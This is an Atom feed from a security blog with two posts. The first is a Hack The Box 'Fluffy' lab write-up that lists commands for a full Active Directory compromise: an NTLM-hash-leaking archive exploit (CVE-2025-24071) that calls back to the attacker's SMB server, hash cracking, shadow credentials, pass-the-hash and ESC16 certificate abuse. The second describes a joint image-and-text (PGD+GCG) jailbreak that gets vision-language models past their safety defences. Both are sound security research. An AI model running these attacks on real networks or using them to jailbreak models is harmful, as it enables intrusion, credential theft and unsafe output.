<?xml version="1.0" encoding="utf-8"?><feed xmlns="http://www.w3.org/2005/Atom" ><generator uri="https://jekyllrb.com/" version="3.10.0">Jekyll</generator><link href="https://daniellopezgala.ch/feed.xml" rel="self" type="application/atom+xml" /><link href="https://daniellopezgala.ch/" rel="alternate" type="text/html" /><updated>2026-04-17T13:06:59+00:00</updated><id>https://daniellopezgala.ch/feed.xml</id><title type="html">Daniel López Gala</title><subtitle>Posts about security, CTFs and sysadmin</subtitle><author><name>Daniel López Gala</name><email>daniel.lopezgala@epfl.ch</email></author><entry><title type="html">Fluffy - Hack The Box</title><link href="https://daniellopezgala.ch/htb-writeup-fluffy/" rel="alternate" type="text/html" title="Fluffy - Hack The Box" /><published>2025-09-18T00:00:00+00:00</published><updated>2025-09-18T00:00:00+00:00</updated><id>https://daniellopezgala.ch/htb-writeup-fluffy</id><content type="html" xml:base="https://daniellopezgala.ch/htb-writeup-fluffy/"><![CDATA[<p><img src="/assets/images/htb-writeup-fluffy/fluffy_logo.png" alt="" /></p>

<p>Fluffy is a Windows machine centered on Active Directory exploitation. To gain root access, users must enumerate users and services, exploit Kerberos misconfigurations, and leverage permissions until they become a domain admin.</p>

<h2 id="nmap-enumeration">Nmap Enumeration</h2>

<p>As always, we start with an <code class="language-plaintext highlighter-rouge">nmap</code> scan to discover all open ports on the target machine. This gives us a first look at the services we can interact with.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">sudo </span>nmap <span class="nt">-p-</span> <span class="nt">-open</span> <span class="nt">-vvv</span> <span class="nt">-n</span> <span class="nt">-Pn</span> 10.10.11.69 <span class="nt">-oG</span> ports
</code></pre></div></div>
<p>The scan reveals a large number of open ports, which is typical for a Windows Domain Controller. Some of the key services identified are Kerberos (88), LDAP (389), SMB (445), and WinRM (5985). This strongly suggests we’re dealing with an Active Directory environment.
To get more details about the running services, a version and script scan (<code class="language-plaintext highlighter-rouge">-sCV</code>) is performed on the ports found earlier.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>nmap -sCV -p53,88,135,389,445,464,593,636,3268,3269,5985,9389,49667,49692,49693,49708,49711 10.10.11.69 -oN targeted
</code></pre></div></div>

<p>The output confirms the machine is a Domain Controller for the <strong>fluffy.htb</strong> domain, with the hostname <strong>DC01.fluffy.htb</strong>.</p>

<p><img src="/assets/images/htb-writeup-fluffy/fluffy2.png" alt="" /></p>

<hr />
<h2 id="initial-enumeration">Initial Enumeration</h2>

<p>To properly interact with the domain services, it’s crucial to add the discovered domain names to our <code class="language-plaintext highlighter-rouge">/etc/hosts</code> file. This ensures that our tools can resolve the hostnames to the correct IP address.</p>

<p><img src="/assets/images/htb-writeup-fluffy/fluffy3.png" alt="" /></p>

<p>With the hosts file configured, we can start enumerating the exposed services. A good starting point is <strong>SMB</strong>, as it often allows anonymous listing of shares. We use <code class="language-plaintext highlighter-rouge">smbclient</code> to check for any accessible shares.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>smbclient -L //10.10.11.69 -N
</code></pre></div></div>

<p>The command lists several shares, including the standard <code class="language-plaintext highlighter-rouge">NETLOGON</code> and <code class="language-plaintext highlighter-rouge">SYSVOL</code>, which are common on Domain Controllers. There is also a non-standard share named <code class="language-plaintext highlighter-rouge">IT</code> that looks interesting and could contain useful files.</p>

<p><img src="/assets/images/htb-writeup-fluffy/fluffy4.png" alt="" /></p>

<hr />
<h2 id="active-directory-enumeration-with-bloodhound">Active Directory Enumeration with BloodHound</h2>

<p>Before diving deeper, we can perform user enumeration against the domain controller using a tool like <code class="language-plaintext highlighter-rouge">kerbrute</code>. This can help us validate potential usernames without needing credentials.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>kerbrute userenum <span class="nt">--dc</span> fluffy.htb <span class="nt">-d</span> fluffy.htb /usr/share/wordlists/SecLists-master/Discovery/Web-Content/common.txt
</code></pre></div></div>

<p>The tool confirms the existence of the <code class="language-plaintext highlighter-rouge">administrator</code> and <code class="language-plaintext highlighter-rouge">guest</code> accounts.</p>

<p><img src="/assets/images/htb-writeup-fluffy/fluffy5.png" alt="" /></p>

<p>With credentials, we can perform a much more thorough enumeration of the Active Directory environment. Assuming we found credentials for the user <code class="language-plaintext highlighter-rouge">j.fleischman</code> within the previously discovered <code class="language-plaintext highlighter-rouge">IT</code> share, we can use <code class="language-plaintext highlighter-rouge">BloodHound</code> to collect detailed information about users, groups, permissions, and potential attack paths.</p>

<p>First, we use the <code class="language-plaintext highlighter-rouge">bloodhound-python</code> ingestor to connect to the domain controller and gather all the necessary data.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>bloodhound-python <span class="nt">-d</span> fluffy.htb <span class="nt">-u</span> <span class="s1">'j.fleischman'</span> <span class="nt">-p</span> <span class="s1">'J0ElThEm4n1990!'</span> <span class="nt">-ns</span> 10.10.11.69 <span class="nt">-c</span> all
</code></pre></div></div>

<p><img src="/assets/images/htb-writeup-fluffy/fluffy6.png" alt="" /></p>

<p>Once the data collection is complete, we need to set up the BloodHound GUI to visualize and analyze the results. This requires starting the <code class="language-plaintext highlighter-rouge">neo4j</code> database service and then running the BloodHound application itself.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">sudo </span>neo4j console
</code></pre></div></div>
<p><img src="/assets/images/htb-writeup-fluffy/fluffy7.png" alt="" /></p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">sudo </span>bloodhound-setup
</code></pre></div></div>
<p><img src="/assets/images/htb-writeup-fluffy/fluffy8.png" alt="" /></p>

<p>After setting up, we can upload the JSON files generated by the Python ingestor into the BloodHound GUI to start looking for privilege escalation paths.</p>

<p><img src="/assets/images/htb-writeup-fluffy/fluffy9.png" alt="" /></p>

<p><img src="/assets/images/htb-writeup-fluffy/fluffy10.png" alt="" /></p>

<p>Analyzing the data shows us the object for our current user, <code class="language-plaintext highlighter-rouge">J.FLEISCHMAN@FLUFFY.HTB</code>. While BloodHound is incredibly powerful for finding complex attack paths, it’s always good to check for low-hanging fruit first. The most immediate benefit of these credentials is the ability to access the <code class="language-plaintext highlighter-rouge">IT</code> share we found earlier.</p>

<p><img src="/assets/images/htb-writeup-fluffy/fluffy11.png" alt="" /></p>

<p>Using the credentials with <code class="language-plaintext highlighter-rouge">smbclient</code>, we can connect to the <code class="language-plaintext highlighter-rouge">IT</code> share and list its contents.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>smbclient //10.10.11.69/IT <span class="nt">-U</span> <span class="s1">'fluffy.htb/j.fleischman'</span> <span class="nt">-p</span> <span class="s1">'J0ElThEm4n1990!'</span>
</code></pre></div></div>

<p>Inside the share, we find several interesting files, most notably a KeePass password manager zip file and a PDF notice. This is a very promising find, as password databases often contain high-value credentials.</p>

<p><img src="/assets/images/htb-writeup-fluffy/fluffy12.png" alt="" /></p>

<h2 id="exploiting-cve-2025-24071-for-hash-leakage">Exploiting CVE-2025-24071 for Hash Leakage</h2>

<p>The next step is to download the files from the <code class="language-plaintext highlighter-rouge">IT</code> share to our local machine for analysis.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>get Upgrade_Notice.pdf
</code></pre></div></div>
<p><img src="/assets/images/htb-writeup-fluffy/fluffy13.png" alt="" /></p>

<p>The <code class="language-plaintext highlighter-rouge">Upgrade_Notice.pdf</code> file is particularly interesting. It’s a patch announcement that lists several recent, high-impact vulnerabilities.</p>

<p><img src="/assets/images/htb-writeup-fluffy/fluffy14.png" alt="" /></p>

<p>One specific vulnerability, <strong>CVE-2025-24071</strong>, is listed with critical severity. This makes it a prime target for investigation.</p>

<p><img src="/assets/images/htb-writeup-fluffy/fluffy15.png" alt="" /></p>

<p>A quick search for this CVE leads to a public Proof of Concept (PoC) on GitHub. The vulnerability allows for NTLM hash leakage when a user simply extracts a malicious ZIP or RAR archive containing a specially crafted <code class="language-plaintext highlighter-rouge">.library-ms</code> file. The user doesn’t even need to open any of the extracted files.</p>

<p><img src="/assets/images/htb-writeup-fluffy/fluffy16.png" alt="" /></p>

<p>The repository provides a Python script, <code class="language-plaintext highlighter-rouge">poc.py</code>, to generate the malicious archive. The script embeds our attacker IP address into the <code class="language-plaintext highlighter-rouge">.library-ms</code> file, causing the victim’s machine to initiate an SMB connection to us upon extraction, thereby leaking the hash.</p>

<p><img src="/assets/images/htb-writeup-fluffy/fluffy17.png" alt="" /></p>

<h2 id="capturing-and-cracking-the-hash">Capturing and Cracking the Hash</h2>

<p>Now we need to set up a listener to capture the incoming NTLM hash. We can use <code class="language-plaintext highlighter-rouge">impacket-smbserver</code> for this purpose. It will start a fake SMB server on our machine.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">sudo </span>impacket-smbserver <span class="nt">-smb2support</span> share <span class="nb">.</span>
</code></pre></div></div>
<p><img src="/assets/images/htb-writeup-fluffy/fluffy18.png" alt="" /></p>

<p>With the listener running, we use the <code class="language-plaintext highlighter-rouge">poc.py</code> script to generate our <code class="language-plaintext highlighter-rouge">exploit.zip</code> file, providing it with our attacker IP.</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">python</span> <span class="n">poc</span><span class="p">.</span><span class="n">py</span>
</code></pre></div></div>
<p><img src="/assets/images/htb-writeup-fluffy/fluffy19.png" alt="" /></p>

<p>Next, we upload the generated <code class="language-plaintext highlighter-rouge">exploit.zip</code> to the <code class="language-plaintext highlighter-rouge">IT</code> share on the Fluffy machine using our existing <code class="language-plaintext highlighter-rouge">smbclient</code> session.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>put exploit.zip
</code></pre></div></div>
<p><img src="/assets/images/htb-writeup-fluffy/fluffy20.png" alt="" /></p>

<p>The idea is that an administrator or automated process will eventually scan the new file, extract it to check its contents, and trigger our exploit. After a short wait, our <code class="language-plaintext highlighter-rouge">smbserver</code> listener captures an incoming connection and provides us with the NTLMv2 hash for the user <code class="language-plaintext highlighter-rouge">p.agila</code>.</p>

<p><img src="/assets/images/htb-writeup-fluffy/fluffy21.png" alt="" /></p>

<p>Now that we have the hash, we can attempt to crack it using <code class="language-plaintext highlighter-rouge">John the Ripper</code> and the popular <code class="language-plaintext highlighter-rouge">rockyou.txt</code> wordlist.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>john pagilacreds.txt <span class="nt">-w</span><span class="o">=</span>/usr/share/wordlists/rockyou.txt
</code></pre></div></div>

<p>Success! The password is cracked and revealed to be <code class="language-plaintext highlighter-rouge">prometheusx-303</code>.</p>

<p><img src="/assets/images/htb-writeup-fluffy/fluffy22.png" alt="" /></p>

<p>We now have a new set of credentials for the domain.</p>

<p><img src="/assets/images/htb-writeup-fluffy/fluffy23.png" alt="" /></p>

<p>With a new user, it’s always a good idea to re-run enumeration to see what new access or information we can gather. We’ll use the <code class="language-plaintext highlighter-rouge">bloodhound-python</code> ingestor again, this time authenticating as <code class="language-plaintext highlighter-rouge">p.agila</code>.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>bloodhound-python <span class="nt">-u</span> <span class="s1">'p.agila'</span> <span class="nt">-p</span> <span class="s1">'prometheusx-303'</span> <span class="nt">-d</span> fluffy.htb <span class="nt">-ns</span> 10.10.11.69 <span class="nt">-c</span> All <span class="nt">--zip</span>
</code></pre></div></div>

<p><img src="/assets/images/htb-writeup-fluffy/fluffy24.png" alt="" /></p>

<p>Once the data collection is complete, we upload the new zip file into the BloodHound GUI.</p>

<p><img src="/assets/images/htb-writeup-fluffy/fluffy25.png" alt="" /></p>

<p>Analyzing the new user’s properties in BloodHound reveals a critical piece of information. The user <code class="language-plaintext highlighter-rouge">p.agila</code> is a member of the <strong>Service Account Managers</strong> group. This is a high-value group, as members have permissions to manage Group Managed Service Accounts (gMSA), which can often be abused to gain further access.</p>

<h2 id="abusing-service-account-permissions">Abusing Service Account Permissions</h2>

<p>Looking at the members of the <code class="language-plaintext highlighter-rouge">SERVICE ACCOUNTS</code> group, we can see our user <code class="language-plaintext highlighter-rouge">p.agila</code> alongside several other service accounts, including <code class="language-plaintext highlighter-rouge">WINRM_SVC</code>. This is a strong indicator that we might be able to leverage our user’s permissions against these other accounts.</p>

<p><img src="/assets/images/htb-writeup-fluffy/fluffy27.png" alt="" /></p>

<p>Given that <code class="language-plaintext highlighter-rouge">p.agila</code> is in the <strong>Service Account Managers</strong> group, we can likely abuse this to gain control over other service accounts. A powerful technique for this is creating “Shadow Credentials” using a tool like <code class="language-plaintext highlighter-rouge">Certipy</code>. This attack allows us to add a new authentication credential (like a password or certificate) to a target account, enabling us to authenticate as that user without knowing their original password. We will target the <code class="language-plaintext highlighter-rouge">winrm_svc</code> account.</p>

<p>Before running the attack, it’s critical to synchronize our system’s clock with the domain controller to avoid Kerberos errors.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">sudo </span>ntpdate 10.10.11.69
</code></pre></div></div>

<p>Now, we can use <code class="language-plaintext highlighter-rouge">certipy-ad</code> to perform the shadow credential attack. This command will add a new credential to the <code class="language-plaintext highlighter-rouge">winrm_svc</code> account and retrieve its NTLM hash.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>certipy-ad shadow auto <span class="nt">-u</span> <span class="s1">'p.agila@fluffy.htb'</span> <span class="nt">-p</span> <span class="s1">'prometheusx-303'</span> <span class="nt">-account</span> <span class="s1">'WINRM_SVC'</span> <span class="nt">-dc-ip</span> <span class="s1">'10.10.11.69'</span>
</code></pre></div></div>

<p>The attack is successful, and we now have the NT hash for <code class="language-plaintext highlighter-rouge">winrm_svc</code>.</p>

<p><img src="/assets/images/htb-writeup-fluffy/fluffy28.png" alt="" /></p>

<p>With the hash, we can use <code class="language-plaintext highlighter-rouge">evil-winrm</code> to gain a shell as the <code class="language-plaintext highlighter-rouge">winrm_svc</code> user. This is a pass-the-hash technique.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>evil-winrm <span class="nt">-i</span> 10.10.11.69 <span class="nt">-u</span> <span class="s1">'winrm_svc'</span> <span class="nt">-H</span> <span class="s1">'33bd09dcd697600edfb6b3a7af4875767'</span>
</code></pre></div></div>

<p>We now have a shell on the machine as <code class="language-plaintext highlighter-rouge">winrm_svc</code> and can retrieve the user flag from the desktop.</p>

<p><img src="/assets/images/htb-writeup-fluffy/fluffy29.png" alt="" /></p>

<h2 id="escalating-to-domain-admin-via-ad-cs">Escalating to Domain Admin via AD CS</h2>

<p>Our next goal is to escalate from this service account to a Domain Admin. A common vector for this is Active Directory Certificate Services (AD CS). Misconfigurations in certificate templates can allow users to request certificates that can be used to authenticate as other users, including administrators.</p>

<p>We can start by enumerating AD CS using <code class="language-plaintext highlighter-rouge">Certipy</code> to find potentially vulnerable certificate templates.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>certipy-ad find <span class="nt">-username</span> ca_svc <span class="nt">-hashes</span> :ca<span class="nv">$HASH</span> <span class="nt">-dc-ip</span> 10.10.11.69 <span class="nt">-vulnerable</span>
</code></pre></div></div>
<p><img src="/assets/images/htb-writeup-fluffy/fluffy30.png" alt="" /></p>

<p>The output from Certipy reveals a critical misconfiguration labeled <strong>ESC16</strong>.</p>

<p><img src="/assets/images/htb-writeup-fluffy/fluffy31.png" alt="" /></p>

<p>The <strong>ESC16</strong> vulnerability occurs when the Certificate Authority has a specific security extension disabled. This allows an attacker with permissions to edit a user’s <code class="language-plaintext highlighter-rouge">userPrincipalName</code> (UPN) to impersonate another user, including a domain administrator, when requesting a certificate.</p>

<p><img src="/assets/images/htb-writeup-fluffy/fluffy32.png" alt="" /></p>

<p>The attack path is as follows:</p>
<ol>
  <li>Choose a target account we can control or whose credentials we can obtain.</li>
  <li>Change the UPN of our target account to match the <code class="language-plaintext highlighter-rouge">sAMAccountName</code> of a privileged user (e.g., <code class="language-plaintext highlighter-rouge">Administrator</code>).</li>
  <li>Request a certificate for our target account. Because of the ESC16 flaw, the CA will issue a certificate that can be used to authenticate as the Administrator.</li>
</ol>

<p><img src="/assets/images/htb-writeup-fluffy/fluffy33.png" alt="" /></p>

<p>We have credentials for <code class="language-plaintext highlighter-rouge">p.agila</code>, which is a member of the <strong>Service Account Managers</strong> group, giving us control over the <code class="language-plaintext highlighter-rouge">ca_svc</code> account. Let’s try to update the UPN of <code class="language-plaintext highlighter-rouge">ca_svc</code> to <code class="language-plaintext highlighter-rouge">administrator</code>.</p>

<p>Our first attempt fails with a constraint violation. It seems the domain requires a fully qualified UPN.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>certipy-ad account <span class="nt">-u</span> <span class="s1">'p.agila@fluffy.htb'</span> <span class="nt">-p</span> <span class="s1">'prometheusx-303'</span> <span class="nt">-dc-ip</span> <span class="s1">'10.10.11.69'</span> <span class="nt">-user</span> <span class="s1">'ca_svc'</span> <span class="s1">'read'</span>
certipy-ad account <span class="nt">-u</span> <span class="s1">'p.agila@fluffy.htb'</span> <span class="nt">-p</span> <span class="s1">'prometheusx-303'</span> <span class="nt">-dc-ip</span> <span class="s1">'10.10.11.69'</span> <span class="nt">-upn</span> <span class="s1">'administrator'</span> <span class="nt">-user</span> <span class="s1">'ca_svc'</span> <span class="s1">'update'</span>
</code></pre></div></div>
<p><img src="/assets/images/htb-writeup-fluffy/fluffy34.png" alt="" /></p>

<p>Let’s try again with the full UPN, <code class="language-plaintext highlighter-rouge">administrator@fluffy.htb</code>.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>certipy-ad account <span class="nt">-u</span> <span class="s1">'p.agila@fluffy.htb'</span> <span class="nt">-p</span> <span class="s1">'prometheusx-303'</span> <span class="nt">-dc-ip</span> <span class="s1">'10.10.11.69'</span> <span class="nt">-upn</span> <span class="s1">'administrator@fluffy.htb'</span> <span class="nt">-user</span> <span class="s1">'ca_svc'</span> <span class="s1">'update'</span>
</code></pre></div></div>
<p>This time, the update is successful. The <code class="language-plaintext highlighter-rouge">ca_svc</code> account now has the UPN of the domain administrator.</p>

<p><img src="/assets/images/htb-writeup-fluffy/fluffy35.png" alt="" /></p>

<p>Now that the UPN for <code class="language-plaintext highlighter-rouge">ca_svc</code> is set to the administrator’s, we can proceed with the certificate request. First, we need to be able to authenticate as <code class="language-plaintext highlighter-rouge">ca_svc</code>. Since <code class="language-plaintext highlighter-rouge">p.agila</code> is in the <strong>Service Account Managers</strong> group, we can perform another shadow credential attack to get the NT hash for <code class="language-plaintext highlighter-rouge">ca_svc</code>.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>certipy-ad shadow auto <span class="nt">-u</span> <span class="s1">'p.agila@fluffy.htb'</span> <span class="nt">-p</span> <span class="s1">'prometheusx-303'</span> <span class="nt">-account</span> <span class="s1">'ca_svc'</span> <span class="nt">-dc-ip</span> <span class="s1">'10.10.11.69'</span>
</code></pre></div></div>

<p><img src="/assets/images/htb-writeup-fluffy/fluffy36.png" alt="" /></p>

<p>With the hash for <code class="language-plaintext highlighter-rouge">ca_svc</code>, we can now request a certificate while authenticating as that user. Due to the modified UPN and the ESC16 misconfiguration, the Certificate Authority will issue a certificate for the <code class="language-plaintext highlighter-rouge">administrator</code> user. We use <code class="language-plaintext highlighter-rouge">certipy-ad req</code> to perform this action.</p>

<p><img src="/assets/images/htb-writeup-fluffy/fluffy37.png" alt="" /></p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>certipy-ad req <span class="nt">-k</span> <span class="nt">-dc-ip</span> <span class="s1">'10.10.11.69'</span> <span class="nt">-target</span> <span class="s1">'DC01.FLUFFY.HTB'</span> <span class="nt">-ca</span> <span class="s1">'fluffy-DC01-CA'</span> <span class="nt">-template</span> <span class="s1">'User'</span> <span class="nt">-user</span> <span class="s1">'ca_svc'</span> <span class="nt">-hashes</span> <span class="s1">':ca0f4f9e8b8a092addf53bb03fc98c8'</span>
</code></pre></div></div>
<p>The command successfully requests a certificate and saves it as <code class="language-plaintext highlighter-rouge">administrator.pfx</code>.</p>

<p><img src="/assets/images/htb-writeup-fluffy/fluffy38.png" alt="" /></p>

<p>As a final step in this stage, it’s good practice to revert the changes made to the <code class="language-plaintext highlighter-rouge">ca_svc</code> account to avoid leaving traces of the attack. We change the UPN back to its original value.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>certipy-ad account <span class="nt">-u</span> <span class="s1">'p.agila@fluffy.htb'</span> <span class="nt">-p</span> <span class="s1">'prometheusx-303'</span> <span class="nt">-dc-ip</span> <span class="s1">'10.10.11.69'</span> <span class="nt">-upn</span> <span class="s1">'ca_svc@fluffy.htb'</span> <span class="nt">-user</span> <span class="s1">'ca_svc'</span> <span class="s1">'update'</span>
</code></pre></div></div>
<p><img src="/assets/images/htb-writeup-fluffy/fluffy39.png" alt="" /></p>

<p>With the <code class="language-plaintext highlighter-rouge">administrator.pfx</code> file, we can now authenticate as the domain administrator. We use <code class="language-plaintext highlighter-rouge">certipy-ad</code> again, this time with the <code class="language-plaintext highlighter-rouge">auth</code> action to use the certificate. This will provide us with a Kerberos ticket (TGT) and the NT hash for the administrator account.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>certipy-ad auth <span class="nt">-dc-ip</span> <span class="s1">'10.10.11.69'</span> <span class="nt">-pfx</span> <span class="s1">'administrator.pfx'</span> <span class="nt">-username</span> <span class="s1">'administrator'</span> <span class="nt">-domain</span> <span class="s1">'fluffy.htb'</span>
</code></pre></div></div>

<p><img src="/assets/images/htb-writeup-fluffy/fluffy40.png" alt="" /></p>

<p>Now that we have full domain admin privileges, we can execute commands on the domain controller. A great tool for this is <code class="language-plaintext highlighter-rouge">impacket-atexec</code>. Before running it, we ensure our system clock is synchronized with the DC to avoid any Kerberos-related time-skew errors. We use the Kerberos ticket we obtained in the previous step to authenticate.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">sudo </span>ntpdate 10.10.11.69
impacket-atexec fluffy.htb/administrator@dc01.fluffy.htb <span class="nt">-k</span> <span class="nt">-no-pass</span> <span class="nb">whoami</span>
</code></pre></div></div>

<p>The <code class="language-plaintext highlighter-rouge">whoami</code> command returns <code class="language-plaintext highlighter-rouge">nt authority\system</code>, confirming we have the highest possible privileges on the machine.</p>

<p><img src="/assets/images/htb-writeup-fluffy/fluffy41.png" alt="" /></p>

<p>Finally, we can read the root flag from the administrator’s desktop.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>impacket-atexec fluffy.htb/administrator@dc01.fluffy.htb <span class="nt">-k</span> <span class="nt">-no-pass</span> <span class="s1">'type C:\Users\Administrator\Desktop\root.txt'</span>
</code></pre></div></div>

<p><img src="/assets/images/htb-writeup-fluffy/fluffy42.png" alt="" /></p>

<p>And with that, the machine is fully compromised.</p>

<p><img src="/assets/images/htb-writeup-fluffy/fluffy43.png" alt="" /></p>]]></content><author><name>Daniel López Gala</name><email>daniel.lopezgala@epfl.ch</email></author><category term="Writeups" /><category term="hackthebox" /><category term="medium" /><category term="windows" /><category term="active-directory" /><category term="Kerberos" /><category term="Bloodhound" /><category term="Active Directory" /><category term="Privilege Escalation" /><summary type="html"><![CDATA[The Fluffy machine is a Windows machine that involves Active Directory enumeration. We'll exploit Kerberos and other misconfigurations to gain domain administrator privileges.]]></summary></entry><entry><title type="html">Jailbreaking Vision-Language Models with a Multimodal Attack</title><link href="https://daniellopezgala.ch/multimodal-attacks/" rel="alternate" type="text/html" title="Jailbreaking Vision-Language Models with a Multimodal Attack" /><published>2025-06-09T00:00:00+00:00</published><updated>2025-06-09T00:00:00+00:00</updated><id>https://daniellopezgala.ch/multimodal-attacks</id><content type="html" xml:base="https://daniellopezgala.ch/multimodal-attacks/"><![CDATA[<p>Vision-Language Models (VLMs) like LLaVA and Google’s Gemma are incredibly powerful, demonstrating a deep understanding of both images and text. You can show them a picture and ask a question, and they’ll often give you a stunningly accurate answer. However, this power comes with a hidden risk: they are vulnerable to adversarial attacks. An attacker could use carefully crafted inputs to trick these models into generating malicious or unsafe content, like instructions for building a bomb.</p>

<p>Most existing attacks target only one modality at a time—either by subtly altering an image or by manipulating the text prompt. In this project, we asked a simple question: what happens if we attack both at the same time?</p>

<h3 id="our-unified-attack-combining-image-and-text-perturbations">Our Unified Attack: Combining Image and Text Perturbations</h3>

<p>We developed a <strong>unified multimodal adversarial attack</strong> that simultaneously targets both the vision and language inputs of a VLM. Our method combines two powerful techniques:</p>

<ul>
  <li><strong>Projected Gradient Descent (PGD)</strong>: A classic image attack that makes tiny, often human-imperceptible changes to an image’s pixels to fool a model.</li>
  <li><strong>Greedy Coordinate Gradient (GCG)</strong>: A state-of-the-art text attack that appends an optimized, often nonsensical-looking string of characters to a prompt to “jailbreak” a language model.</li>
</ul>

<p>By integrating PGD and GCG into a single, cohesive framework, we can create adversarial image-text pairs that are far more effective than those from separate, unimodal attacks.</p>

<p>The difference is stark. In the example below, the LLaVA model correctly refuses to answer the harmful prompt when given a normal image. But when we apply our joint attack—making subtle changes to the image and adding an adversarial suffix to the prompt—the model’s safety filter is completely bypassed, and it provides a detailed, harmful response.</p>

<p><img src="/assets/images/multimodal-attacks/attack-example.png" alt="" />
<em>A joint PGD+GCG attack tricks the LLaVA-RC model into providing illicit instructions, bypassing its safety alignment.</em></p>

<hr />

<h3 id="how-the-joint-attack-works">How the Joint Attack Works</h3>

<p>The joint attack uses <strong>simultaneous optimization</strong>. Instead of attacking the image and text separately, the algorithm finds the best combination of perturbations in a single, efficient process. At a high level, here’s how it works:</p>

<ol>
  <li><strong>Gradient Calculation</strong>: For a given image and prompt, we perform a single backward pass to calculate the gradients for both the image pixels and the text token embeddings. This tells us the most effective direction to “push” both modalities to induce a jailbreak.</li>
  <li><strong>Image Update (PGD)</strong>: We use the image gradient to apply a small, constrained perturbation to the input image, creating an adversarial version.</li>
  <li><strong>Text Candidate Generation (GCG)</strong>: We use the text gradients to identify a set of top candidate tokens that are most likely to increase the adversarial loss.</li>
  <li><strong>Joint Evaluation &amp; Selection</strong>: This is the key step. We evaluate each text candidate’s effectiveness against the <strong>newly perturbed image</strong>. This allows us to capture the cross-modal interactions. After evaluating all candidates, we select the single best text edit for that iteration.</li>
  <li><strong>Repeat</strong>: We repeat this process, iteratively refining the image and text suffix until the model is successfully jailbroken.</li>
</ol>

<hr />

<h3 id="putting-it-to-the-test-results">Putting It to the Test: Results</h3>

<p>We tested our attack framework on several popular VLMs, and the results highlight the critical advantage of a multimodal approach.</p>

<ul>
  <li><strong>Against LLaVA-RC (Robust CLIP)</strong>: This model uses a hardened vision encoder, making it more resilient to image-only attacks. While PGD alone struggled, our joint PGD+GCG attack successfully restored a strong adversarial potency by combining weak visual perturbations with an optimized text suffix, achieving the lowest mean loss across all tested modes.</li>
  <li><strong>Against Gemma-3-4b-it (with GemmaShield2)</strong>: This was the toughest target. Gemma’s defenses were so effective that they <strong>completely blocked image-only PGD attacks</strong>, resulting in zero successes. However, our joint attack was still able to find a way through. By coordinating both modalities, it not only achieved a high success rate but also reduced the final adversarial loss by nearly half compared to a GCG-only text attack. This demonstrates that even when one attack surface is heavily fortified, a joint attack can amplify the remaining channels to bypass defenses.</li>
</ul>

<hr />

<h3 id="making-it-practical-dynamic-search-width-scheduling">Making it Practical: Dynamic Search-Width Scheduling</h3>

<p>A major challenge with our joint attack is that it can be computationally expensive. Evaluating every text candidate at every step takes time. To solve this, we introduced <strong>Dynamic Search-Width Scheduling</strong>.</p>

<p>The idea is to start the attack with a large budget of text candidates (a wide search) to quickly find a promising direction, and then gradually reduce the number of candidates in later iterations as the attack converges on a solution.</p>

<p><img src="/assets/images/multimodal-attacks/search_width_comparison.png" alt="" />
<em>Visualisation of different dynamic search-width decay schedules. This technique balances speed and attack strength.</em></p>

<p>This simple scheduling trick works wonders. It allows us to retain nearly the full effectiveness of an expensive, wide-search attack while reclaiming most of the runtime benefits of a faster, narrow-search one. For practical use, we recommend a <code class="language-plaintext highlighter-rouge">256→128</code> schedule, which delivers excellent success rates at a manageable computational cost.</p>

<hr />

<h3 id="conclusion-and-whats-next">Conclusion and What’s Next</h3>

<p>Our research demonstrates that joint multimodal adversarial attacks are a significant threat to modern VLMs, especially those with advanced, single-modality defenses. By perturbing image and text inputs in a coordinated fashion, these attacks can create more subtle, effective, and potentially less detectable jailbreaks than their unimodal counterparts.</p>

<p>The development of dynamic scheduling makes these powerful attacks practical, providing a potent tool for security researchers to audit and red-team the next generation of multimodal AI systems.</p>

<p>For future work, we plan to investigate the <strong>transferability</strong> of these attacks. If an adversarial suffix and image perturbation created for one prompt can generalize to others, it would represent an even more scalable and useful threat.</p>

